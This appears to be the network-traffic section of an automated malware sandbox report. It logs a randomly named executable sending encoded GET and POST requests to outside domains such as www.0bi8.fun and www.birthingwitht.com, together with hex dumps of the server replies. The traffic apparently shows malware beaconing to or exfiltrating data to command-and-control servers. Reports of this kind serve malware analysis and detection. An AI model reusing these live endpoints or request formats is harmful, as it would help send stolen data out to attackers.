20 70 [TRUNCATED]
                                                        Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        4192.168.2.75927334.149.87.45806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:27:13.664658070 CEST409OUTGET /v0eo/?MNodJD8p=53hfMKMEN3GhcMKa3FD3GzP2+NOMOkRil+RTINeunm9wIq1fivMeg2WaHp19Pt0EnqgBYyGRdzAlBNzF4cJsjA2PPFb1LRhEuRJejr6Fp+RggyN+VxffrmtVRKuIz6NLG42mGA2FBBi+&f4=xxLl5tHp-byppxH HTTP/1.1
                                                        Host: www.birthingwitht.com
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Connection: close
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        May 27, 2024 12:27:14.152158022 CEST1210INHTTP/1.1 301 Moved Permanently
                                                        Content-Length: 0
                                                        Location: https://www.birthingwitht.com/v0eo?MNodJD8p=53hfMKMEN3GhcMKa3FD3GzP2+NOMOkRil+RTINeunm9wIq1fivMeg2WaHp19Pt0EnqgBYyGRdzAlBNzF4cJsjA2PPFb1LRhEuRJejr6Fp+RggyN+VxffrmtVRKuIz6NLG42mGA2FBBi+&f4=xxLl5tHp-byppxH
                                                        Strict-Transport-Security: max-age=86400
                                                        X-Wix-Request-Id: 1716805634.083119681974725651
                                                        Age: 0
                                                        Cache-Control: no-cache
                                                        Server: Pepyaka
                                                        X-Content-Type-Options: nosniff
                                                        Accept-Ranges: bytes
                                                        Date: Mon, 27 May 2024 10:27:14 GMT
                                                        X-Served-By: cache-iad-kiad7000146-IAD
                                                        X-Cache: MISS
                                                        Server-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_g
                                                        X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,vmPhUNXuQemvc7fjBI8NWewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLg+F4RAy97FgBhKEMuS3Uv05XEckg9t2+jA6cQOj+vGJ,2d58ifebGbosy5xc+FRalmtuLgY/DBMmqrRb/QLeZ/deYXUL4AlWLoh4LA2LwUXfi9tGIAUIGmLIz75H3ykK9w==,2UNV7KOq4oGjA5+PKsX47CaOPCbndCqdyYrCBy15MBQfbJaKSXYQ/lskq2jK6SGP,4ruRiGGO754dn7NFp/n0kDlhb3a3ksooBvkxcfQ+XJM=,Fu82B4iHXTM/qb6LDQhcXe8sAPrSJYMUaiga3H8RsV8=,8+sd0p/fB+2vxlJZapYbK7eDmb1LS5vKIk3W8arXCLbI28ivn7toUDs7EGZz7no64gIVo5Mnw3bzfhD1HkUPMw==
                                                        Via: 1.1 google
                                                        glb-x-seen-by: bS8wRlGzu0Hc+WrYuHB8QIg44yfcdCMJRkBoQ1h6Vjc=
                                                        Connection: close


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        5192.168.2.759274107.151.241.58806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:27:19.556179047 CEST649OUTPOST /bjqr/ HTTP/1.1
                                                        Host: www.0bi8.fun
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 221
                                                        Connection: close
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.0bi8.fun
                                                        Referer: http://www.0bi8.fun/bjqr/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 74 58 66 4c 6f 4c 48 42 44 79 41 46 39 66 72 72 75 6b 74 41 53 76 59 45 74 44 50 62 64 64 54 35 30 66 55 43 33 58 65 45 70 6a 65 49 74 6d 44 76 52 4c 59 4c 73 65 79 78 77 70 77 6a 78 4c 73 6c 78 4d 4a 62 65 57 42 77 50 6a 4f 44 78 48 57 4a 37 4e 34 76 37 52 79 62 4a 45 63 6b 43 57 4d 67 63 4f 70 44 45 63 45 4e 50 6c 78 35 2f 72 59 63 68 65 31 4f 69 6e 2b 62 70 47 6e 79 68 47 55 32 37 2f 37 78 57 4b 2f 4c 6f 53 73 37 35 66 51 68 54 76 4f 36 6c 70 47 73 56 4d 75 36 6b 66 43 6d 76 6f 45 39 6c 30 6e 70 63 45 7a 46 4d 54 57 68 5a 59 74 4b 66 52 76 62 68 4f 61 4a 4c 35 36 65 32 58 44 6c 54 4f 4b 41 36 6e 52 34 62 65 71 36 71 67 3d 3d
                                                        Data Ascii: MNodJD8p=tXfLoLHBDyAF9frruktASvYEtDPbddT50fUC3XeEpjeItmDvRLYLseyxwpwjxLslxMJbeWBwPjODxHWJ7N4v7RybJEckCWMgcOpDEcENPlx5/rYche1Oin+bpGnyhGU27/7xWK/LoSs75fQhTvO6lpGsVMu6kfCmvoE9l0npcEzFMTWhZYtKfRvbhOaJL56e2XDlTOKA6nR4beq6qg==
                                                        May 27, 2024 12:27:20.450048923 CEST1164INHTTP/1.1 200 OK
                                                        Server: nginx
                                                        Date: Mon, 27 May 2024 10:27:20 GMT
                                                        Content-Type: text/html; charset=UTF-8
                                                        Transfer-Encoding: chunked
                                                        Connection: close
                                                        Vary: Accept-Encoding
                                                        Set-Cookie: PHPSESSID=h7vbds9dv9633b4usu7ee09ohe; path=/
                                                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                        Cache-Control: no-store, no-cache, must-revalidate
                                                        Pragma: no-cache
                                                        Strict-Transport-Security: max-age=31536000
                                                        Content-Encoding: gzip
                                                        Data Raw: 32 64 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ad 55 cd 6b d4 40 14 bf 0b fe 0f 63 44 50 68 36 59 ed ae 6b 4c f6 a2 9e f5 e0 c5 e3 6c f2 b2 99 35 c9 c4 99 d9 af 8a 50 7a 28 5a 15 2f 1e 0a b6 82 8a 20 42 11 85 d2 c5 cf 3f c6 dd 6d 7b f2 5f f0 25 d9 ed 6e 63 8b 16 0c 0c c9 bc 79 ef fd de fc de 47 ec 33 d7 6f 5e bb 7d e7 d6 0d 12 a8 28 ac 9f 3e 65 a7 6f 12 d2 b8 e9 68 4b 81 86 92 54 06 d4 c3 2f 82 8f 1d 81 a2 c4 0d a8 90 a0 1c ad ad 7c bd 96 6a cd ce 62 1a 81 a3 75 18 74 13 2e 94 46 5c 1e 2b 88 51 b7 cb 3c 15 38 1e 74 98 0b 7a b6 59 20 2c 66 8a d1 50 97 2e 0d c1 29 2f 90 88 f6 58 d4 8e 66 82 b6 04 91 ed 68 03 35 62 ae 11 63 0a a7 98 0a a1 be 68 2e da 46 fe 39 09 23 64 f1 5d 12 08 f0 1d 2d 50 2a b1 0c a3 db ed 96 cc 06 ab 95 fc 76 6c 48 45 15 73 0d ea 45 2c 36 5c 29 8d 06 e7 4a 2a 41 93 12 4a 4a 28 d1 88 80 d0 d1 a4 ea 87 20 03 00 75 70 c3 93 ba 8e a8 02 81 17 f4 40 b2 66 cc 90 0b f9 ff 41 b2 38 ff ee 36 53 9b 70 97 a6 ab 04 42 70 a1 27 b4 09 e4 7e 4e 5d 2a 4e 9f 00 58 33 50 16 29 9b e6 b9 ab 87 8f 12 2e [TRUNCATED]
                                                        Data Ascii: 2deUk@cDPh6YkLl5Pz(Z/ B?m{_%ncyG3o^}(>eohKT/|jbut.F\+Q<8tzY ,fP.)/Xfh5bch.F9#d]-P*vlHEsE,6\)J*AJJ( up@fA86SpBp'~N]*NX3P).1e<zNa l{"lB=M]"yc=Ml,rl&BqwrY8VCzk-+~tVj)}G<:Rdc}yIalM^&!fYVicW8Nqb(ZdVA9o:|2zDJ{lk[~}}2:^f8xj{/+H(H:P(+`Rq/5y|PNVCQx>zr8X1@&d{UdD),$HDjIu{:ZR#L?{'dsq8T5_o%j0


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        6192.168.2.759275107.151.241.58806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:27:22.087589979 CEST669OUTPOST /bjqr/ HTTP/1.1
                                                        Host: www.0bi8.fun
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 241
                                                        Connection: close
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.0bi8.fun
                                                        Referer: http://www.0bi8.fun/bjqr/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 74 58 66 4c 6f 4c 48 42 44 79 41 46 39 2f 62 72 74 48 46 41 56 50 59 44 67 54 50 62 58 39 54 6c 30 65 6f 43 33 53 2f 66 71 56 32 49 73 48 66 76 53 4a 67 4c 76 65 79 78 34 4a 77 6d 73 62 73 2b 78 4d 31 35 65 55 46 77 50 6e 6d 44 78 46 65 4a 37 37 77 77 36 42 79 46 42 6b 63 6d 64 6d 4d 67 63 4f 70 44 45 63 67 72 50 6c 35 35 2f 59 77 63 69 38 52 4e 6b 58 2b 61 68 6d 6e 79 6c 47 56 39 37 2f 37 54 57 4c 69 6d 6f 51 55 37 35 65 67 68 53 2b 4f 37 79 35 47 69 4b 38 75 75 30 39 54 6f 33 62 6f 77 71 47 65 30 54 31 61 76 45 46 4c 44 44 36 68 6d 42 41 58 67 6c 4d 2b 2f 63 66 6e 72 30 57 48 39 65 73 2b 68 6c 51 30 53 57 4d 4c 2b 38 64 5a 39 57 66 6e 39 75 6c 49 31 74 67 4b 72 70 66 4a 6d 58 68 63 3d
                                                        Data Ascii: MNodJD8p=tXfLoLHBDyAF9/brtHFAVPYDgTPbX9Tl0eoC3S/fqV2IsHfvSJgLveyx4Jwmsbs+xM15eUFwPnmDxFeJ77ww6ByFBkcmdmMgcOpDEcgrPl55/Ywci8RNkX+ahmnylGV97/7TWLimoQU75eghS+O7y5GiK8uu09To3bowqGe0T1avEFLDD6hmBAXglM+/cfnr0WH9es+hlQ0SWML+8dZ9Wfn9ulI1tgKrpfJmXhc=
                                                        May 27, 2024 12:27:23.420844078 CEST1164INHTTP/1.1 200 OK
                                                        Server: nginx
                                                        Date: Mon, 27 May 2024 10:27:22 GMT
                                                        Content-Type: text/html; charset=UTF-8
                                                        Transfer-Encoding: chunked
                                                        Connection: close
                                                        Vary: Accept-Encoding
                                                        Set-Cookie: PHPSESSID=s372oci0pt6phh1no2vknoftst; path=/
                                                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                        Cache-Control: no-store, no-cache, must-revalidate
                                                        Pragma: no-cache
                                                        Strict-Transport-Security: max-age=31536000
                                                        Content-Encoding: gzip
                                                        Data Raw: 32 64 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ad 55 cd 6b d4 40 14 bf 0b fe 0f 63 44 50 68 36 59 ed ae 6b 4c f6 a2 9e f5 e0 c5 e3 6c f2 b2 99 35 c9 c4 99 d9 af 8a 50 7a 28 5a 15 2f 1e 0a b6 82 8a 20 42 11 85 d2 c5 cf 3f c6 dd 6d 7b f2 5f f0 25 d9 ed 6e 63 8b 16 0c 0c c9 bc 79 ef fd de fc de 47 ec 33 d7 6f 5e bb 7d e7 d6 0d 12 a8 28 ac 9f 3e 65 a7 6f 12 d2 b8 e9 68 4b 81 86 92 54 06 d4 c3 2f 82 8f 1d 81 a2 c4 0d a8 90 a0 1c ad ad 7c bd 96 6a cd ce 62 1a 81 a3 75 18 74 13 2e 94 46 5c 1e 2b 88 51 b7 cb 3c 15 38 1e 74 98 0b 7a b6 59 20 2c 66 8a d1 50 97 2e 0d c1 29 2f 90 88 f6 58 d4 8e 66 82 b6 04 91 ed 68 03 35 62 ae 11 63 0a a7 98 0a a1 be 68 2e da 46 fe 39 09 23 64 f1 5d 12 08 f0 1d 2d 50 2a b1 0c a3 db ed 96 cc 06 ab 95 fc 76 6c 48 45 15 73 0d ea 45 2c 36 5c 29 8d 06 e7 4a 2a 41 93 12 4a 4a 28 d1 88 80 d0 d1 a4 ea 87 20 03 00 75 70 c3 93 ba 8e a8 02 81 17 f4 40 b2 66 cc 90 0b f9 ff 41 b2 38 ff ee 36 53 9b 70 97 a6 ab 04 42 70 a1 27 b4 09 e4 7e 4e 5d 2a 4e 9f 00 58 33 50 16 29 9b e6 b9 ab 87 8f 12 2e [TRUNCATED]
                                                        Data Ascii: 2deUk@cDPh6YkLl5Pz(Z/ B?m{_%ncyG3o^}(>eohKT/|jbut.F\+Q<8tzY ,fP.)/Xfh5bch.F9#d]-P*vlHEsE,6\)J*AJJ( up@fA86SpBp'~N]*NX3P).1e<zNa l{"lB=M]"yc=Ml,rl&BqwrY8VCzk-+~tVj)}G<:Rdc}yIalM^&!fYVicW8Nqb(ZdVA9o:|2zDJ{lk[~}}2:^f8xj{/+H(H:P(+`Rq/5y|PNVCQx>zr8X1@&d{UdD),$HDjIu{:ZR#L?{'dsq8T5_o%j0
                                                        May 27, 2024 12:27:23.420906067 CEST1164INHTTP/1.1 200 OK
                                                        Server: nginx
                                                        Date: Mon, 27 May 2024 10:27:22 GMT
                                                        Content-Type: text/html; charset=UTF-8
                                                        Transfer-Encoding: chunked
                                                        Connection: close
                                                        Vary: Accept-Encoding
                                                        Set-Cookie: PHPSESSID=s372oci0pt6phh1no2vknoftst; path=/
                                                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                        Cache-Control: no-store, no-cache, must-revalidate
                                                        Pragma: no-cache
                                                        Strict-Transport-Security: max-age=31536000
                                                        Content-Encoding: gzip
                                                        Data Raw: 32 64 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ad 55 cd 6b d4 40 14 bf 0b fe 0f 63 44 50 68 36 59 ed ae 6b 4c f6 a2 9e f5 e0 c5 e3 6c f2 b2 99 35 c9 c4 99 d9 af 8a 50 7a 28 5a 15 2f 1e 0a b6 82 8a 20 42 11 85 d2 c5 cf 3f c6 dd 6d 7b f2 5f f0 25 d9 ed 6e 63 8b 16 0c 0c c9 bc 79 ef fd de fc de 47 ec 33 d7 6f 5e bb 7d e7 d6 0d 12 a8 28 ac 9f 3e 65 a7 6f 12 d2 b8 e9 68 4b 81 86 92 54 06 d4 c3 2f 82 8f 1d 81 a2 c4 0d a8 90 a0 1c ad ad 7c bd 96 6a cd ce 62 1a 81 a3 75 18 74 13 2e 94 46 5c 1e 2b 88 51 b7 cb 3c 15 38 1e 74 98 0b 7a b6 59 20 2c 66 8a d1 50 97 2e 0d c1 29 2f 90 88 f6 58 d4 8e 66 82 b6 04 91 ed 68 03 35 62 ae 11 63 0a a7 98 0a a1 be 68 2e da 46 fe 39 09 23 64 f1 5d 12 08 f0 1d 2d 50 2a b1 0c a3 db ed 96 cc 06 ab 95 fc 76 6c 48 45 15 73 0d ea 45 2c 36 5c 29 8d 06 e7 4a 2a 41 93 12 4a 4a 28 d1 88 80 d0 d1 a4 ea 87 20 03 00 75 70 c3 93 ba 8e a8 02 81 17 f4 40 b2 66 cc 90 0b f9 ff 41 b2 38 ff ee 36 53 9b 70 97 a6 ab 04 42 70 a1 27 b4 09 e4 7e 4e 5d 2a 4e 9f 00 58 33 50 16 29 9b e6 b9 ab 87 8f 12 2e [TRUNCATED]
                                                        Data Ascii: 2deUk@cDPh6YkLl5Pz(Z/ B?m{_%ncyG3o^}(>eohKT/|jbut.F\+Q<8tzY ,fP.)/Xfh5bch.F9#d]-P*vlHEsE,6\)J*AJJ( up@fA86SpBp'~N]*NX3P).1e<zNa l{"lB=M]"yc=Ml,rl&BqwrY8VCzk-+~tVj)}G<:Rdc}yIalM^&!fYVicW8Nqb(ZdVA9o:|2zDJ{lk[~}}2:^f8xj{/+H(H:P(+`Rq/5y|PNVCQx>zr8X1@&d{UdD),$HDjIu{:ZR#L?{'dsq8T5_o%j0


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        7192.168.2.759276107.151.241.58806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:27:26.543740988 CEST1682OUTPOST /bjqr/ HTTP/1.1
                                                        Host: www.0bi8.fun
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 1253
                                                        Connection: close
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.0bi8.fun
                                                        Referer: http://www.0bi8.fun/bjqr/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 74 58 66 4c 6f 4c 48 42 44 79 41 46 39 2f 62 72 74 48 46 41 56 50 59 44 67 54 50 62 58 39 54 6c 30 65 6f 43 33 53 2f 66 71 56 2b 49 73 31 37 76 41 75 4d 4c 75 65 79 78 79 70 77 6e 73 62 73 7a 78 4d 74 39 65 55 5a 67 50 6c 65 44 33 6d 47 4a 71 70 59 77 78 42 79 46 4e 45 63 6c 43 57 4d 50 63 4f 59 45 45 63 51 72 50 6c 35 35 2f 65 4d 63 32 2b 31 4e 6d 58 2b 62 70 47 6e 2b 68 47 56 56 37 37 58 35 57 4c 6d 51 6f 6b 6f 37 2b 2b 77 68 51 4d 32 37 74 4a 47 67 4a 38 76 70 30 39 66 6a 33 62 6c 42 71 43 58 54 54 30 75 76 48 6a 4b 6f 51 4f 55 36 41 52 2f 42 73 4d 44 61 4c 74 50 4b 39 32 36 4b 64 63 37 44 75 6e 68 6d 4e 2b 48 52 78 59 59 35 41 70 62 78 69 55 70 68 70 41 37 52 2b 36 41 6d 4a 55 6a 51 7a 56 68 44 50 74 61 42 52 62 72 70 71 73 33 39 6a 39 76 72 4d 55 34 44 76 77 58 6c 45 6f 46 6f 77 6b 6f 6d 33 76 69 54 68 61 63 4b 54 79 35 45 32 2b 53 6b 4f 68 53 48 56 47 77 51 77 32 7a 62 52 55 73 61 62 54 39 62 74 7a 77 58 71 51 6a 76 31 57 70 5a 4c 64 70 64 54 48 61 47 30 63 61 6c 32 [TRUNCATED]
                                                        Data Ascii: MNodJD8p=tXfLoLHBDyAF9/brtHFAVPYDgTPbX9Tl0eoC3S/fqV+Is17vAuMLueyxypwnsbszxMt9eUZgPleD3mGJqpYwxByFNEclCWMPcOYEEcQrPl55/eMc2+1NmX+bpGn+hGVV77X5WLmQoko7++whQM27tJGgJ8vp09fj3blBqCXTT0uvHjKoQOU6AR/BsMDaLtPK926Kdc7DunhmN+HRxYY5ApbxiUphpA7R+6AmJUjQzVhDPtaBRbrpqs39j9vrMU4DvwXlEoFowkom3viThacKTy5E2+SkOhSHVGwQw2zbRUsabT9btzwXqQjv1WpZLdpdTHaG0cal2KK+bsDMwclJXQBh6LhLwmWxPwTcTrDp94MejWa8OglbDhZLOEPL2HDxv7xsVvO/yzu6ktopdB8fkT4iAIy748+nWwrrxsRwBpdGBtGWQuyH+fwpoA/Bs2kmNU07LwqFI3xLVZjimniN5v59m0IIMySlwnHBgwaCrADl2YXJkXk/BW8TmNhKiMr5w9i2G/d/aoyE/KWXpjpUF2sz91JUjs4I+NnJoELGklTlMZ4hZH6Shc5aiouNI/AyAXC+8V41MT8TGdUr3LXpXrAQBGD+u1fSeYfzqBqQoWLWDwlLUFaqPcDByeAdo2fFWhtImgmcL6AQASWEy4Pj4ZuvWNfObQlrVzmqbsqPSTyrY0mhvsUIRI4zOZlWnpCfNk6MxrvOtQcZKRpsWrO6hyuD6YCV+ZtXOFctWrb8AfJOnzVb5dT9pTfeTDZtyvW6wLwXPpGRasaXne728ZZPqjVvJuQCkfN1hsknZx28H6l2aiGO+llGeMifRVnyWxSsv98WrDgimIQrZVgHX6A6LF14IIQALagrZi3IzMimr1F/t6oBPgLpLC5f+d+zHnL3o3fEy2P9uQEZ5c6oIFAjBA7CEVs1/jfTuYPSNtorn/DVQ6hyUvlkWz8vYovkmLZkamrKrwrVeKK+WBeja96ZNg7duF/qrLCCqtMAMBW9GrS [TRUNCATED]
                                                        May 27, 2024 12:27:27.454490900 CEST1164INHTTP/1.1 200 OK
                                                        Server: nginx
                                                        Date: Mon, 27 May 2024 10:27:27 GMT
                                                        Content-Type: text/html; charset=UTF-8
                                                        Transfer-Encoding: chunked
                                                        Connection: close
                                                        Vary: Accept-Encoding
                                                        Set-Cookie: PHPSESSID=m9rqh8hht3m6fk6o2pa0el4kqd; path=/
                                                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                        Cache-Control: no-store, no-cache, must-revalidate
                                                        Pragma: no-cache
                                                        Strict-Transport-Security: max-age=31536000
                                                        Content-Encoding: gzip
                                                        Data Raw: 32 64 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ad 55 cd 6b d4 40 14 bf 0b fe 0f 63 44 50 68 36 59 ed ae 6b 4c f6 a2 9e f5 e0 c5 e3 6c f2 b2 99 35 c9 c4 99 d9 af 8a 50 7a 28 5a 15 2f 1e 0a b6 82 8a 20 42 11 85 d2 c5 cf 3f c6 dd 6d 7b f2 5f f0 25 d9 ed 6e 63 8b 16 0c 0c c9 bc 79 ef fd de fc de 47 ec 33 d7 6f 5e bb 7d e7 d6 0d 12 a8 28 ac 9f 3e 65 a7 6f 12 d2 b8 e9 68 4b 81 86 92 54 06 d4 c3 2f 82 8f 1d 81 a2 c4 0d a8 90 a0 1c ad ad 7c bd 96 6a cd ce 62 1a 81 a3 75 18 74 13 2e 94 46 5c 1e 2b 88 51 b7 cb 3c 15 38 1e 74 98 0b 7a b6 59 20 2c 66 8a d1 50 97 2e 0d c1 29 2f 90 88 f6 58 d4 8e 66 82 b6 04 91 ed 68 03 35 62 ae 11 63 0a a7 98 0a a1 be 68 2e da 46 fe 39 09 23 64 f1 5d 12 08 f0 1d 2d 50 2a b1 0c a3 db ed 96 cc 06 ab 95 fc 76 6c 48 45 15 73 0d ea 45 2c 36 5c 29 8d 06 e7 4a 2a 41 93 12 4a 4a 28 d1 88 80 d0 d1 a4 ea 87 20 03 00 75 70 c3 93 ba 8e a8 02 81 17 f4 40 b2 66 cc 90 0b f9 ff 41 b2 38 ff ee 36 53 9b 70 97 a6 ab 04 42 70 a1 27 b4 09 e4 7e 4e 5d 2a 4e 9f 00 58 33 50 16 29 9b e6 b9 ab 87 8f 12 2e [TRUNCATED]
                                                        Data Ascii: 2deUk@cDPh6YkLl5Pz(Z/ B?m{_%ncyG3o^}(>eohKT/|jbut.F\+Q<8tzY ,fP.)/Xfh5bch.F9#d]-P*vlHEsE,6\)J*AJJ( up@fA86SpBp'~N]*NX3P).1e<zNa l{"lB=M]"yc=Ml,rl&BqwrY8VCzk-+~tVj)}G<:Rdc}yIalM^&!fYVicW8Nqb(ZdVA9o:|2zDJ{lk[~}}2:^f8xj{/+H(H:P(+`Rq/5y|PNVCQx>zr8X1@&d{UdD),$HDjIu{:ZR#L?{'dsq8T5_o%j0


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        8192.168.2.759277107.151.241.58806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:27:29.081078053 CEST400OUTGET /bjqr/?f4=xxLl5tHp-byppxH&MNodJD8p=gV3rr7jqPVIv1Mn/lEpKIewKkib7Fcul04Jd32/fmw2k/EH2FaAQks6L8J0asfE6jsJhPUd3WUfcv1S8rbU6nGqSEFtTbFoUTPdBAPE1L3Zw4OEG+thjvk7ioWrFkV00ho6iarHOpTEe HTTP/1.1
                                                        Host: www.0bi8.fun
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Connection: close
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        May 27, 2024 12:27:30.003648996 CEST1236INHTTP/1.1 200 OK
                                                        Server: nginx
                                                        Date: Mon, 27 May 2024 10:27:29 GMT
                                                        Content-Type: text/html; charset=UTF-8
                                                        Transfer-Encoding: chunked
                                                        Connection: close
                                                        Vary: Accept-Encoding
                                                        Set-Cookie: PHPSESSID=8k4o70nabk11lc6n7u07botn02; path=/
                                                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                        Cache-Control: no-store, no-cache, must-revalidate
                                                        Pragma: no-cache
                                                        Strict-Transport-Security: max-age=31536000
                                                        Data Raw: 36 36 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 7a 68 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 30 62 69 38 2e 66 75 6e 2f 73 74 61 74 69 63 2f 61 64 6d 69 6e 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 30 62 69 38 2e 66 75 [TRUNCATED]
                                                        Data Ascii: 66a<!DOCTYPE html><html lang="zh"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" /> <title>404</title> <link href="http://www.0bi8.fun/static/admin/css/bootstrap.min.css" rel="stylesheet"> <link href="http://www.0bi8.fun/static/admin/css/materialdesignicons.min.css" rel="stylesheet"> <link href="http://www.0bi8.fun/static/admin/css/style.min.css" rel="stylesheet"> <style> .error-page { height: 100%; position: fixed; width: 100%; } .error-body { padding-top: 5%; } .error-body h1 { font-size: 210px; font-weight: 700; text-shadow: 4px 4px 0 #f5f6fa, 6px 6px 0 #868e96;
                                                        May 27, 2024 12:27:30.003705978 CEST812INData Raw: 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 31 30 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 38 36 38 65 39 36 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 3c 2f 73 74 79
                                                        Data Ascii: line-height: 210px; color: #868e96; } </style></head><body> <section class="error-page"> <div class="error-box"> <div class="error-body text-center"> <h1>


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        9192.168.2.7592783.33.130.190806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:27:35.065982103 CEST685OUTPOST /v7f6/ HTTP/1.1
                                                        Host: www.galatalosangeles.org
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 221
                                                        Connection: close
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.galatalosangeles.org
                                                        Referer: http://www.galatalosangeles.org/v7f6/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
